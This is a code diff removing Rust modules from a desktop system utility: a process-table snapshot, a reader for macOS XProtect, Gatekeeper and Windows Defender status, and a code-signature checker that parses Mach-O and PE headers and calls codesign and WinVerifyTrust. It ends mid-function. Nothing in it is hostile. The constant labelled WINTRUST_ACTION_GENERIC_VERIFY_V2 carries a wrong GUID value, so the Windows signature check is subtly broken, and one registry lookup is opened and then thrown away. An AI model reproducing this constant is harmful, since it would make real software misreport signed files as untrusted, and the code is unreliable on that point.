command.args(["-n", "60", "127.0.0.1"]);
command
} else {
let mut command = Command::new("sleep");
command.arg("60");
command
};
command
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("a loopback ping / sleep should start")
}
/// `ESRCH` and `EPERM` ask for opposite things from the reader — one says
/// "nothing to do", the other says "become a more privileged user" — so the
/// two must not arrive as the same message. A pid nobody owns is the
/// reproducible half of that pair.
#[cfg(unix)]
#[test]
fn a_pid_that_is_not_there_reports_itself_as_gone() {
let vacant = first_vacant_pid();
assert!(refusal(vacant, "Nothing").is_none());
let error = force_stop(vacant).expect_err("nothing owns this pid");
assert!(
matches!(error, StopError::Gone { pid } if pid == vacant),
"expected Gone({vacant}), got {error:?}"
);
}
/// PIDs are handed out upwards and then wrap, so just below the ceiling the
/// range is empty. The ceiling itself is not usable: `pid_t` is an `i32` on
/// macOS, and `kill` answers `EINVAL` rather than `ESRCH` outside its range.
#[cfg(unix)]
fn first_vacant_pid() -> u32 {
let top = if cfg!(target_os = "macos") {
999_999
} else {
4_194_304
};
(top - 64..top)
.filter(|pid| *pid != std::process::id())
.find(|pid| unsafe { libc::getpgid(*pid as libc::pid_t) } != 0)
.expect("a vacant pid near the top of the range")
}
}

View File

@ -1,242 +0,0 @@
//! The full process table, as opposed to the twelve busiest rows the meters
//! panel draws.
//!
//! `squid-stats` samples every couple of seconds and must stay cheap, so it
//! reports names and percentages. Answering "what is this thing, who started it
//! and did anybody sign it" is a different question, asked when a person opens
//! the Processes tab, and it tolerates a slower path: one refresh of the table
//! plus a signature lookup for the executables actually on screen.
//!
//! The table is deliberately read-only here. Deciding whether a pid may be
//! stopped is the job of [`crate::process`], which refuses squid itself and the
//! processes a boot rests on; this module only describes what is running.
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
use std::time::{SystemTime, UNIX_EPOCH};
use sysinfo::{ProcessRefreshKind, ProcessesToUpdate, RefreshKind, System, Users};
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ProcessRow {
pub pid: u32,
pub parent: Option<u32>,
pub name: String,
pub command: String,
pub program: Option<PathBuf>,
pub working_directory: Option<PathBuf>,
pub user: String,
pub cpu: f32,
pub memory: u64,
pub started_ms: Option<u64>,
/// Set later by the desktop layer, which owns the startup inventory: a
/// process started by a login item is a different kind of thing than one
/// the person launched themselves.
pub startup_item: Option<String>,
pub signed: bool,
pub publisher: Option<String>,
/// False for processes owned by somebody else, which squid must not stop.
pub owned: bool,
}
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct ProcessTable {
pub rows: Vec<ProcessRow>,
pub taken_at_ms: u64,
}
/// Snapshot the table. `with_trust` asks the operating system about each
/// distinct executable once, which is the expensive part and is only wanted
/// when the signature column is actually on screen.
pub fn snapshot(with_trust: bool) -> ProcessTable {
let mut system =
System::new_with_specifics(RefreshKind::nothing().with_processes(process_kind()));
system.refresh_processes_specifics(ProcessesToUpdate::All, true, process_kind());
snapshot_from(&system, with_trust)
}
fn process_kind() -> ProcessRefreshKind {
ProcessRefreshKind::nothing()
.with_cmd(sysinfo::UpdateKind::Always)
.with_exe(sysinfo::UpdateKind::Always)
.with_cwd(sysinfo::UpdateKind::Always)
.with_memory()
.with_cpu()
.with_user(sysinfo::UpdateKind::Always)
}
fn snapshot_from(system: &System, with_trust: bool) -> ProcessTable {
let users = Users::new_with_refreshed_list();
let current_user = current_user_name();
let mut cache: std::collections::HashMap<PathBuf, crate::trust::Trust> =
std::collections::HashMap::new();
let mut rows: Vec<ProcessRow> = system
.processes()
.values()
.map(|process| {
let program = process.exe().map(|path| path.to_path_buf());
let command = process
.cmd()
.iter()
.map(|part| part.to_string_lossy().into_owned())
.collect::<Vec<_>>()
.join(" ");
let user = process
.user_id()
.and_then(|id| users.get_user_by_id(id))
.map(|user| user.name().to_string())
.unwrap_or_default();
let mut row = ProcessRow {
pid: process.pid().as_u32(),
parent: process.parent().map(|pid| pid.as_u32()),
name: name_of(process.name()),
command,
started_ms: start_time_ms(process.start_time()),
program,
working_directory: process.cwd().map(|path| path.to_path_buf()),
user,
cpu: process.cpu_usage().min(4_000.0),
memory: process.memory(),
startup_item: None,
signed: false,
publisher: None,
owned: true,
};
row.owned = row.user.is_empty()
|| current_user.is_empty()
|| row.user.eq_ignore_ascii_case(&current_user);
if with_trust {
if let Some(program) = row.program.as_deref() {
let trust = cache.entry(program.to_path_buf()).or_insert_with(|| {
if crate::trust::might_be_executable(program) {
crate::trust::assess(program)
} else {
Default::default()
}
});
row.signed = trust.signed;
row.publisher = trust.signer.clone();
}
}
row
})
.collect();
rows.sort_by(|a, b| b.memory.cmp(&a.memory).then_with(|| a.pid.cmp(&b.pid)));
ProcessTable {
rows,
taken_at_ms: now_ms(),
}
}
/// One row, re-read right now. The desktop layer asks this before it stops
/// anything, so the name the person clicked is checked against the pid that
/// answers to that number today.
pub fn row_of(pid: u32) -> Option<ProcessRow> {
let mut system = System::new_with_specifics(RefreshKind::nothing());
system.refresh_processes_specifics(
ProcessesToUpdate::Some(&[sysinfo::Pid::from_u32(pid)]),
true,
process_kind(),
);
let process = system.process(sysinfo::Pid::from_u32(pid))?;
Some(ProcessRow {
pid,
parent: process.parent().map(|pid| pid.as_u32()),
name: name_of(process.name()),
command: process
.cmd()
.iter()
.map(|part| part.to_string_lossy().into_owned())
.collect::<Vec<_>>()
.join(" "),
program: process.exe().map(|path| path.to_path_buf()),
working_directory: process.cwd().map(|path| path.to_path_buf()),
user: String::new(),
cpu: process.cpu_usage(),
memory: process.memory(),
started_ms: start_time_ms(process.start_time()),
startup_item: None,
signed: false,
publisher: None,
owned: true,
})
}
fn name_of(name: &std::ffi::OsStr) -> String {
name.to_string_lossy()
.split(['/', '\\'])
.next_back()
.filter(|part| !part.is_empty())
.unwrap_or("?")
.to_string()
}
/// sysinfo reports Unix start times as seconds since boot; Windows and newer
/// sysinfo releases report seconds since the epoch. Anything that already looks
/// like an epoch passes through, so a wrong guess cannot turn into a date in
/// 1970 on every row.
fn start_time_ms(raw: u64) -> Option<u64> {
if raw == 0 {
return None;
}
let uptime = System::uptime();
let now = now_ms() / 1_000;
if raw > 1_000_000_000 && raw <= now {
return Some(raw.saturating_mul(1_000));
}
if raw <= uptime {
return Some(now.saturating_sub(raw).saturating_mul(1_000));
}
None
}
/// The account squid runs as. Ownership is compared by name because a process
/// reports a uid/SID and the user table is the only thing that turns either one
/// into the name a person recognises — the same source `HostInfo` prints.
fn current_user_name() -> String {
std::env::var("USER")
.or_else(|_| std::env::var("USERNAME"))
.unwrap_or_default()
}
fn now_ms() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|since| since.as_millis() as u64)
.unwrap_or_default()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_snapshot_describes_the_test_process() {
let table = snapshot(false);
assert!(
table.rows.iter().any(|row| row.pid == std::process::id()),
"the process running this test is missing from the table"
);
}
#[test]
fn a_row_can_be_re_read_by_pid() {
let here = std::process::id();
let row = row_of(here).expect("this process is running");
assert_eq!(row.pid, here);
assert!(!row.name.is_empty());
assert!(row_of(u32::MAX).is_none());
}
#[test]
fn sysinfo_start_times_are_normalised_to_millis() {
// Seconds since boot, which is what sysinfo gives on unix.
assert!(start_time_ms(10).is_some());
// Seconds since the epoch, which is what it gives on Windows.
let epoch = 1_700_000_000;
assert_eq!(start_time_ms(epoch), Some(epoch * 1_000));
assert_eq!(start_time_ms(0), None);
}
}

View File

@ -1,313 +0,0 @@
//! What the operating system's own protection says about itself.
//!
//! Squid reads this and never writes it. `xprotect status` and `xprotect
//! version` are queried, `xprotect update` deliberately is not: that command
//! contacts Apple's servers on the machine's behalf, and a third-party app
//! starting downloads it did not pay for is not squid's to decide. The same
//! restraint applies to Defender.
//!
//! The reason to show any of it is honesty about coverage. XProtect runs with or
//! without squid, and a user who sees "background scanning: off" can act on that
//! in System Settings. A user who sees nothing assumes it is on.
use serde::{Deserialize, Serialize};
/// The state of the protection the operating system provides itself.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ProtectionStatus {
/// `xprotect`, `defender`, `third-party`, `unknown`.
pub provider: String,
/// Whether the state above was actually read, as opposed to assumed.
pub known: bool,
/// Signature/definition version, in whatever notation the platform uses.
pub definitions: String,
/// When those definitions were installed or last refreshed.
pub definitions_date: String,
pub realtime: Option<bool>,
pub background_scans: Option<bool>,
pub launch_scans: Option<bool>,
/// Gatekeeper (`spctl`) or the Windows Defender engine state.
pub gatekeeper: Option<bool>,
pub last_scan_date: String,
/// Anything that could not be determined, in plain words.
pub notes: Vec<String>,
pub product_name: String,
}
impl ProtectionStatus {
/// Unknown must never be rendered as healthy. This is the guard against a
/// probe that fails on a clean machine and reports green.
pub fn is_healthy(&self) -> Option<bool> {
if !self.known {
return None;
}
match self.provider.as_str() {
"xprotect" => Some(
self.realtime.unwrap_or(true)
&& self.background_scans.unwrap_or(true)
&& self.launch_scans.unwrap_or(true),
),
"defender" | "third-party" => Some(self.realtime.unwrap_or(false)),
_ => None,
}
}
}
/// Ask the operating system. Never fails; a platform with nothing to report says
/// so through `known: false` and a note.
pub fn status() -> ProtectionStatus {
#[cfg(target_os = "macos")]
{
macos::status()
}
#[cfg(windows)]
{
windows::status()
}
#[cfg(not(any(target_os = "macos", windows)))]
{
ProtectionStatus {
provider: "unknown".into(),
known: false,
notes: vec!["this platform has no protection status that Squid can read".into()],
..Default::default()
}
}
}
#[cfg(target_os = "macos")]
mod macos {
use super::*;
fn run(program: &str, args: &[&str]) -> Option<String> {
let output = std::process::Command::new(program)
.args(args)
.output()
.ok()?;
if output.status.success() {
Some(String::from_utf8_lossy(&output.stdout).trim().to_string())
} else {
None
}
}
pub fn status() -> ProtectionStatus {
let mut status = ProtectionStatus {
provider: "xprotect".into(),
product_name: "XProtect".into(),
..Default::default()
};
match run("/usr/bin/xprotect", &["status", "--json"]) {
Some(json) => match serde_json::from_str::<serde_json::Value>(&json) {
Ok(value) => {
status.known = true;
status.background_scans = value
.get("xprotect_background_scans")
.and_then(|value| value.as_bool());
status.launch_scans = value
.get("xprotect_launch_scans")
.and_then(|value| value.as_bool());
status.realtime = status.launch_scans;
}
Err(error) => status
.notes
.push(format!("XProtect status was unreadable: {error}")),
},
None => status.notes.push(
"XProtect did not report its state. macOS 13 and later answer this query.".into(),
),
}
if let Some(json) = run("/usr/bin/xprotect", &["version", "--json"]) {
if let Ok(value) = serde_json::from_str::<serde_json::Value>(&json) {
if let Some(version) = value
.get("xprotect_bundle_version")
.and_then(|v| v.as_str())
{
status.definitions = version.to_string();
}
if let Some(date) = value
.get("xprotect_bundle_install_date")
.and_then(|value| value.as_str())
{
status.definitions_date = date.to_string();
}
}
}
// Gatekeeper answers for whether a downloaded app can run at all.
match run("/usr/sbin/spctl", &["--status"]) {
Some(text) => status.gatekeeper = Some(text.contains("assessments enabled")),
None => status
.notes
.push("Gatekeeper status could not be read.".into()),
}
if !status.known {
status.provider = "unknown".into();
}
status
}
}
#[cfg(windows)]
mod windows {
use super::*;
use std::os::windows::process::CommandExt;
use std::process::Command;
use winreg::enums::{HKEY_LOCAL_MACHINE, KEY_READ, KEY_WOW64_64KEY};
use winreg::RegKey;
const CREATE_NO_WINDOW: u32 = 0x0800_0000;
/// Defender's own registry view answers without a WMI round trip: the
/// product-registration key names the active antivirus, and the
/// `CurrentReputation`/`Signature` keys carry the definition version.
pub fn status() -> ProtectionStatus {
let mut status = ProtectionStatus {
provider: "unknown".into(),
..Default::default()
};
let base = match RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey_with_flags(
r"SOFTWARE\Microsoft\Windows Defender",
KEY_READ | KEY_WOW64_64KEY,
) {
Ok(base) => base,
Err(_) => {
status
.notes
.push("Windows Defender is not registered on this machine.".into());
return status;
}
};
let disabled = base.get_value::<u32, _>("DisableAntiSpyware").unwrap_or(0) != 0;
if let Ok(signatures) = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey_with_flags(
r"SOFTWARE\Microsoft\Windows Defender\Signature Updates",
KEY_READ | KEY_WOW64_64KEY,
) {
if let Some(version) = signatures
.get_value::<String, _>("SignatureDefinitionVersion")
.ok()
.or_else(|| signatures.get_value::<String, _>("AMRunVersion").ok())
{
status.definitions = version;
}
if let Ok(days) = signatures.get_value::<u32, _>("LastSignatureUpdateAge") {
status.definitions_date = format!("{days} days ago");
}
status.known = true;
}
// A third-party product that registered itself replaces Defender.
let registered = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey_with_flags(
r"SOFTWARE\Microsoft\Windows Defender\FeatureManagement",
KEY_READ | KEY_WOW64_64KEY,
);
let _ = registered;
match active_antivirus() {
Some(name) if !name.is_empty() => {
status.product_name = name.clone();
status.provider = if name.contains("Windows Defender") || name.contains("Defender")
{
"defender".into()
} else {
"third-party".into()
};
status.known = true;
}
_ => {
status.provider = if disabled {
"unknown".into()
} else {
"defender".into()
};
status.product_name = "Microsoft Defender Antivirus".into();
status.realtime = Some(!disabled);
}
}
if !status.known {
status
.notes
.push("Windows Security Center did not report an antivirus product.".into());
}
status
}
/// Security Center's registration list, via WMI. One subprocess, no service.
fn active_antivirus() -> Option<String> {
let script = "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName";
let output = Command::new("powershell.exe")
.creation_flags(CREATE_NO_WINDOW)
.args([
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
script,
])
.spawn()
.ok()?
.wait_with_output()
.ok()?;
if !output.status.success() {
return None;
}
let text = String::from_utf8_lossy(&output.stdout)
.lines()
.map(str::trim)
.find(|line| !line.is_empty())?
.to_string();
Some(text)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn unknown_is_never_reported_as_healthy() {
let unknown = ProtectionStatus {
provider: "unknown".into(),
known: false,
..Default::default()
};
assert_eq!(unknown.is_healthy(), None);
let xprotect = ProtectionStatus {
provider: "xprotect".into(),
known: true,
background_scans: Some(true),
launch_scans: Some(true),
realtime: Some(true),
..Default::default()
};
assert_eq!(xprotect.is_healthy(), Some(true));
let off = ProtectionStatus {
provider: "defender".into(),
known: true,
realtime: Some(false),
..Default::default()
};
assert_eq!(off.is_healthy(), Some(false));
}
#[cfg(target_os = "macos")]
#[test]
fn the_real_machine_answers_the_query() {
let status = status();
// Whether or not protection is on, the probe must produce something a
// person can read rather than an empty card.
assert!(
status.known || !status.notes.is_empty(),
"the probe said nothing at all: {status:?}"
);
assert!(!status.product_name.is_empty());
}
}

File diff suppressed because it is too large Load Diff

View File

@ -1,748 +0,0 @@
//! Who signed this file, as far as the operating system will say.
//!
//! The answer is used in two places: the startup list colours an entry that
//! nobody vouches for, and the scanner treats "unsigned binary in a user-writable
//! path that runs at login" as evidence. It is deliberately not treated as a
//! verdict. An unsigned file is ordinary for anything a person built themselves,
//! and a signed file is ordinary for adware that bought a certificate, so the
//! UI says *unsigned* rather than *suspicious* and leaves the reasoning to the
//! reader.
//!
//! macOS asks `codesign`, which is the same tool the release scripts use, so the
//! app and the release check cannot disagree about what "ad-hoc signed" means.
//! Windows asks the Authenticode API directly, because the PowerShell equivalent
//! costs a second to start and the process table asks this question per row.
use serde::{Deserialize, Serialize};
use std::path::Path;
/// What the signature says about one file.
#[derive(Clone, Debug, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct Trust {
/// A signature exists and the operating system considers it intact.
pub signed: bool,
/// Ad-hoc / link-time signature: bytes are sealed, but nobody is named.
pub ad_hoc: bool,
/// Authenticode is present but chain validation failed (expired, unknown CA).
pub untrusted: bool,
/// Vendor named by the leaf certificate.
pub signer: Option<String>,
/// Why there is no signature, when that is worth saying.
pub note: Option<String>,
}
impl Trust {
/// One word for a table column.
pub fn state(&self) -> &'static str {
if self.signed && !self.ad_hoc && !self.untrusted {
"trusted"
} else if self.signed {
"adhoc"
} else if self.untrusted {
"untrusted"
} else {
"unsigned"
}
}
}
/// Ask the operating system about one file. Never fails: no answer is a normal
/// answer, and the caller decides whether silence is worth showing.
///
/// Answers are remembered for the life of the process, keyed by path plus the
/// file's size and modification time, because both callers ask in bulk: the
/// startup list asks once per entry and the process table once per distinct
/// executable on screen. The question itself costs a subprocess on macOS and a
/// certificate-chain walk on Windows, so one refresh of the process tab would be
/// hundreds of them. A file that changes is looked up again, which is why the
/// identity is part of the key and not the path alone.
pub fn assess(path: &Path) -> Trust {
let Some(key) = identity(path) else {
// Nothing to key on. Asking anyway is what turns "the file is not there"
// into an answer instead of a cached guess.
return assess_uncached(path);
};
if let Some(found) = cache()
.lock()
.unwrap_or_else(|poisoned| poisoned.into_inner())
.get(&key)
.cloned()
{
return found;
}
// Asked with no lock held: the question costs a subprocess, so holding the
// cache across it would make every bulk caller take these one at a time.
let trust = assess_uncached(path);
let mut cache = cache()
.lock()
.unwrap_or_else(|poisoned| poisoned.into_inner());
// Bounded, because a utility that grows its own footprint to answer a
// display question is its own kind of junk. Half is dropped rather than all,
// so a table that is still on screen keeps the answers it is showing.
if cache.len() > 4_000 {
let stale: Vec<_> = cache.keys().take(cache.len() / 2).cloned().collect();
for stale in stale {
cache.remove(&stale);
}
}
cache.insert(key, trust.clone());
trust
}
type CacheKey = (std::path::PathBuf, u64, u128);
fn identity(path: &Path) -> Option<CacheKey> {
let metadata = std::fs::symlink_metadata(path).ok()?;
let modified = metadata
.modified()
.ok()
.and_then(|time| time.duration_since(std::time::UNIX_EPOCH).ok())
.map(|since| since.as_nanos())
.unwrap_or(0);
Some((path.to_path_buf(), metadata.len(), modified))
}
fn cache() -> &'static std::sync::Mutex<std::collections::HashMap<CacheKey, Trust>> {
static CACHE: std::sync::OnceLock<
std::sync::Mutex<std::collections::HashMap<CacheKey, Trust>>,
> = std::sync::OnceLock::new();
CACHE.get_or_init(Default::default)
}
fn assess_uncached(path: &Path) -> Trust {
#[cfg(target_os = "macos")]
{
macos::assess(path)
}
#[cfg(windows)]
{
windows::assess(path)
}
#[cfg(not(any(target_os = "macos", windows)))]
{
let _ = path;
Trust::default()
}
}
/// Whether the file carries a signature *blob*, without asking the operating
/// system to validate it.
///
/// This is the cheap sibling of [`assess`]: it reads the Mach-O load commands or
/// the PE certificate directory and stops, so it can run over every row of a
/// process table or every candidate in a full scan. What it cannot tell you is
/// whether that signature is trusted, which is exactly the difference a person
/// needs when they open the row — and that is why the detail view still asks
/// `assess` and this result is only ever shown as "signed by somebody" or "no
/// signature at all".
pub fn has_signature_blob(path: &Path) -> bool {
#[cfg(target_os = "macos")]
{
macho_has_signature(path)
}
#[cfg(windows)]
{
pe_has_certificate(path)
}
#[cfg(not(any(target_os = "macos", windows)))]
{
let _ = path;
false
}
}
/// Scan the load commands for `LC_CODE_SIGNATURE` (0x1D), in either endianness,
/// and into each slice of a fat binary.
#[cfg(target_os = "macos")]
fn macho_has_signature(path: &Path) -> bool {
// Only the head of the image is ever consulted: a Mach-O header plus a
// thousand load commands is a few tens of kilobytes, and a fat binary keeps
// its first slice within the first megabyte. Reading a four-gigabyte disk
// image whole to answer one yes/no question is the kind of cost that gets a
// scanner switched off.
const WINDOW: u64 = 2 * 1024 * 1024;
let Ok(length) = std::fs::metadata(path).map(|metadata| metadata.len()) else {
return false;
};
if length < 32 {
return false;
}
let Ok(mut file) = std::fs::File::open(path) else {
return false;
};
let mut bytes = Vec::with_capacity((WINDOW).min(length) as usize);
{
use std::io::Read;
if Read::by_ref(&mut file)
.take(WINDOW)
.read_to_end(&mut bytes)
.is_err()
{
return false;
}
}
if bytes.len() < 32 {
return false;
}
let word = |bytes: &[u8], offset: usize, big: bool| -> Option<u32> {
let window = bytes.get(offset..offset + 4)?;
Some(if big {
u32::from_be_bytes(window.try_into().ok()?)
} else {
u32::from_le_bytes(window.try_into().ok()?)
})
};
let head = [bytes[0], bytes[1], bytes[2], bytes[3]];
const FAT_32: [u8; 4] = [0xCA, 0xFE, 0xBA, 0xBE];
const FAT_SWAPPED: [u8; 4] = [0xBE, 0xBA, 0xFE, 0xCA];
if head == FAT_32 || head == FAT_SWAPPED {
// The fat header is always big-endian in practice; the spelling of its
// magic says which order it was actually written in, and that governs
// only the table below — each slice re-declares its own endianness.
let big = head == FAT_32;
let count = word(&bytes, 4, big).unwrap_or(0).min(32) as usize;
for index in 0..count {
// fat_arch: cputype, cpusubtype, offset, size, align.
let Some(offset) = word(&bytes, 8 + index * 20 + 8, big) else {
continue;
};
// Each slice carries its own magic, and therefore its own
// endianness: a fat header written big-endian normally contains
// little-endian arm64 and x86_64 images.
if macho_slice_signed(&bytes, offset as usize, &word) {
return true;
}
}
return false;
}
macho_slice_signed(&bytes, 0, &word)
}
/// Walk one Mach-O header's load commands looking for the signature command.
#[cfg(target_os = "macos")]
fn macho_slice_signed(
bytes: &[u8],
start: usize,
word: &impl Fn(&[u8], usize, bool) -> Option<u32>,
) -> bool {
const LC_CODE_SIGNATURE: u32 = 0x1D;
// A 64-bit little-endian image begins `CF FA ED FE` — the magic 0xFEEDFACF
// read back as little-endian — and a big-endian one begins with the same
// four bytes in reverse. The 32-bit pair differs by one byte. Which spelling
// appeared is the only thing that decides the endianness of every field
// after it, so the table says it directly instead of inferring it from
// wherever this header was reached from.
// Which magic appeared decides two things at once: the endianness of every
// field after it, and whether this is a 64-bit header (32 bytes) or a
// 32-bit one (28 bytes). Getting either wrong reads the load commands from
// the wrong address and reports a signed binary as unsigned.
const THIN: [([u8; 4], bool, usize); 4] = [
([0xCF, 0xFA, 0xED, 0xFE], false, 32), // MH_MAGIC_64, host order
([0xCE, 0xFA, 0xED, 0xFE], false, 28), // MH_MAGIC, host order
([0xFE, 0xED, 0xFA, 0xCF], true, 32), // MH_MAGIC_64, swapped
([0xFE, 0xED, 0xFA, 0xCE], true, 28), // MH_MAGIC, swapped
];
let Some(head) = bytes.get(start..start + 4) else {
return false;
};
let Ok(head): Result<[u8; 4], _> = head.try_into() else {
return false;
};
let Some((_, big, header)) = THIN.iter().find(|(magic, _, _)| *magic == head) else {
return false;
};
let (big, header) = (*big, *header);
// A corrupt fat header can point a slice past what was actually read.
if start + header > bytes.len() {
return false;
}
// mach_header: magic, cputype, cpusubtype, filetype, ncmds, sizeofcmds…
// `ncmds` is the fifth field, at offset 16 — reading 12 instead finds
// `filetype`, which is how every signed binary looks unsigned.
let commands = word(bytes, start + 16, big).unwrap_or(0).min(4096) as usize;
let mut cursor = start + header;
for _ in 0..commands {
let Some(command) = word(bytes, cursor, big) else {
return false;
};
// High bit marks a 64-bit-only command; the number underneath is the same.
if command & 0x7FFF_FFFF == LC_CODE_SIGNATURE {
return true;
}
let Some(size) = word(bytes, cursor + 4, big) else {
return false;
};
if size < 8 {
return false;
}
cursor += size as usize;
if cursor + 8 > bytes.len() {
return false;
}
}
false
}
/// A PE file's certificate table is data directory entry 4: an offset into the
/// file, not a relative virtual address, which makes it a four-byte read once
/// the header has been walked.
#[cfg(windows)]
fn pe_has_certificate(path: &Path) -> bool {
pe_has_certificate_at(path).unwrap_or(false)
}
/// The same walk written against `Option`, so an out-of-range field is a plain
/// "no" rather than a panic. Split out because `?` in the `bool`-returning
/// wrapper above does not compile, and this half only builds on Windows, so the
/// mistake is invisible to a macOS `cargo check`.
#[cfg(windows)]
fn pe_has_certificate_at(path: &Path) -> Option<bool> {
use std::io::Read;
let length = std::fs::metadata(path).ok()?.len();
let mut file = std::fs::File::open(path).ok()?;
let mut head = [0_u8; 4096];
let read = file.read(&mut head).ok()?;
let u32_at = |offset: usize| -> Option<u32> {
let window = head.get(offset..offset + 4)?;
Some(u32::from_le_bytes(window.try_into().ok()?))
};
if read < 64 || &head[0..2] != b"MZ" {
return Some(false);
}
let pe = u32_at(0x3C)? as usize;
if pe + 24 > read || &head[pe..pe + 4] != b"PE\0\0" {
return Some(false);
}
let optional = pe + 24;
let magic = u32_at(optional)? & 0xFFFF;
// Data directories start after the optional header; their offset differs
// between PE32 and PE32+, which is what the magic byte says.
let directories = optional + if magic == 0x20B { 112 } else { 96 };
let entry = u32_at(directories + 4 * 8)?;
let size = u32_at(directories + 4 * 8 + 4)?;
Some(entry != 0 && size != 0 && (entry as u64) < length)
}
/// Cheap gate for a table with hundreds of rows: only Mach-O and PE files can
/// carry a signature, so everything else is answered without a subprocess.
///
/// The header decides, not the name. A macOS privileged helper is called
/// `us.zoom.ZoomDaemon` and a Windows one `com.microsoft.autoupdate.helper`, where
/// the last dot is part of the name rather than an extension; judging by extension
/// never asked about a signed helper whose name happens to contain a dot. Reading
/// eight bytes is close to free next to the subprocess being avoided, and it is the
/// same question the signature actually answers.
pub fn might_be_executable(path: &Path) -> bool {
/// Bundles are signed as a unit, so the directory itself is the question.
const BUNDLES: [&str; 4] = ["app", "framework", "bundle", "xpc"];
let extension = || {
path.extension()
.map(|ext| ext.to_string_lossy().to_lowercase())
.unwrap_or_default()
};
if path.is_dir() {
return BUNDLES.contains(&extension().as_str());
}
match header(path) {
Some(head) => header_is_executable(&head),
// Nothing to read: an executable the current user may run but not open is
// common among root-owned helpers, and `codesign` may still answer for it.
None => {
BUNDLES.contains(&extension().as_str())
|| ["dylib", "so", "exe", "dll", "sys"].contains(&extension().as_str())
|| extension().is_empty()
}
}
}
/// The first eight bytes, or `None` when the file cannot be opened.
fn header(path: &Path) -> Option<[u8; 8]> {
use std::io::Read;
let mut file = std::fs::File::open(path).ok()?;
let mut head = [0_u8; 8];
file.read_exact(&mut head).ok()?;
Some(head)
}
fn header_is_executable(head: &[u8; 8]) -> bool {
// Mach-O 32/64, fat binary, and their byte-swapped forms.
const MACHOS: [[u8; 4]; 6] = [
[0xcf, 0xfa, 0xed, 0xfe],
[0xce, 0xfa, 0xed, 0xfe],
[0xca, 0xfe, 0xba, 0xbe],
[0xfe, 0xed, 0xfa, 0xcf],
[0xfe, 0xed, 0xfa, 0xce],
[0xbe, 0xba, 0xfe, 0xca],
];
if MACHOS.iter().any(|magic| head.starts_with(magic)) {
return true;
}
// PE: `MZ` at the front, `PE\0\0` wherever the header table points.
head.starts_with(b"MZ")
}
#[cfg(target_os = "macos")]
mod macos {
use super::*;
use std::path::PathBuf;
use std::process::Command;
const CODESIGN: &str = "/usr/bin/codesign";
/// Resolves an `.app` to the binary `codesign` should be asked about, since
/// asking about the bundle is what `--verify --deep` would do anyway.
fn executable_of(path: &Path) -> PathBuf {
let candidate = path.join("Contents/MacOS");
let Ok(entries) = std::fs::read_dir(&candidate) else {
return path.to_path_buf();
};
entries
.flatten()
.map(|entry| entry.path())
.find(|path| path.is_file())
.unwrap_or_else(|| path.to_path_buf())
}
pub fn assess(path: &Path) -> Trust {
if !path.exists() {
return Trust {
note: Some("the file is not there".into()),
..Default::default()
};
}
if !super::might_be_executable(path) {
return Trust::default();
}
let target = if path.is_dir() {
executable_of(path)
} else {
path.to_path_buf()
};
let Ok(output) = Command::new(CODESIGN)
.args(["-dvv", &target.display().to_string()])
.output()
else {
return Trust {
note: Some("codesign could not run".into()),
..Default::default()
};
};
// `codesign -dvv` writes its report to stderr and exits non-zero for
// unsigned files, which is an answer rather than a failure.
let report = String::from_utf8_lossy(&output.stderr).into_owned();
if report.contains("code object is not signed at all") || report.is_empty() {
return Trust {
note: (!report.is_empty()).then(|| "not signed".into()),
..Default::default()
};
}
let signer = report
.lines()
.find_map(|line| line.strip_prefix("Authority="))
.map(|name| name.trim().to_string());
let team = report
.lines()
.find_map(|line| line.strip_prefix("TeamIdentifier="))
.map(|value| value.trim().to_string());
let ad_hoc = team.as_deref() == Some("not set") && signer.is_none();
let signed = signer.is_some()
|| report.contains("CodeDirectory") && !ad_hoc
|| report.contains("Signature size");
if ad_hoc {
return Trust {
signed: true,
ad_hoc: true,
note: Some("ad-hoc signed — the bytes are sealed, nobody is named".into()),
..Default::default()
};
}
if !signed {
return Trust {
note: Some("no usable signature".into()),
..Default::default()
};
}
Trust {
signed: true,
signer: signer.or(team),
..Default::default()
}
}
}
#[cfg(windows)]
mod windows {
use super::*;
/// Ask Authenticode through `WinVerifyTrust`. The status codes are read so
/// an expired or unrooted certificate reports as *untrusted* rather than as
/// unsigned: those files were signed by somebody, and a person deciding
/// whether to quarantine them deserves to know that much.
pub fn assess(path: &Path) -> Trust {
if !super::might_be_executable(path) {
return Trust::default();
}
if !path.exists() {
return Trust {
note: Some("the file is not there".into()),
..Default::default()
};
}
match authenticode(path) {
Ok(()) => Trust {
signed: true,
signer: publisher(path),
..Default::default()
},
Err(status) => {
const NO_SIGNATURE: [u32; 2] = [0x800b0100, 0xc0000225];
let present = !NO_SIGNATURE.contains(&status);
Trust {
untrusted: present,
signer: present.then(|| publisher(path)).flatten(),
note: Some(format!("Authenticode reported 0x{status:08x}")),
..Default::default()
}
}
}
}
fn authenticode(path: &Path) -> Result<(), u32> {
use windows_sys::core::GUID;
use windows_sys::Win32::Security::WinTrust::{
WinVerifyTrust, WINTRUST_DATA, WINTRUST_DATA_0, WINTRUST_FILE_INFO, WTD_CHOICE_FILE,
WTD_REVOKE_NONE, WTD_STATEACTION_IGNORE, WTD_UI_NONE,
};
// WINTRUST_ACTION_GENERIC_VERIFY_V2
const ACTION: GUID = GUID::from_u128(0x00aa003c_0000_0000_c000_000000000046);
let wide = wide_path(path);
let mut file_info = WINTRUST_FILE_INFO {
cbStruct: std::mem::size_of::<WINTRUST_FILE_INFO>() as u32,
pcwszFilePath: wide.as_ptr(),
hFile: std::ptr::null_mut(),
pgKnownSubject: std::ptr::null_mut(),
};
let mut data = WINTRUST_DATA {
cbStruct: std::mem::size_of::<WINTRUST_DATA>() as u32,
pPolicyCallbackData: std::ptr::null_mut(),
pSIPClientData: std::ptr::null_mut(),
